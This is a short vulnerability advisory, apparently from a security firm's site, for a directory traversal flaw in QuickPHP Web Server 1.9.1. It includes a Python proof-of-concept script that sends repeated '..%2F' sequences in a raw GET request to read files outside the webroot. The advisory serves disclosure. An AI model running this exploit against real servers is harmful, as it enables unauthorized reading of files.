Home
Consulting
Advisories
Software
Articles
Contact

QuickPHP Web Server 1.9.1 Directory Traversal

Legacy Advisories

Description

A directory traversal vulnerability in QuickPHP Web Server 1.9.1 can be exploited to read files outside of the webroot directory.

Proof Of Concept

import socket

host = 'localhost'
port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(8)
s.connect((host, port))
s.send('GET http://' + host + '/' + '..%2F' * 8 + ' HTTP/1.1\r\n'
       'Host: ' + host + '\r\n\r\n');

print s.recv(8192);


Copyright © 2018 AutoSec Tools LLC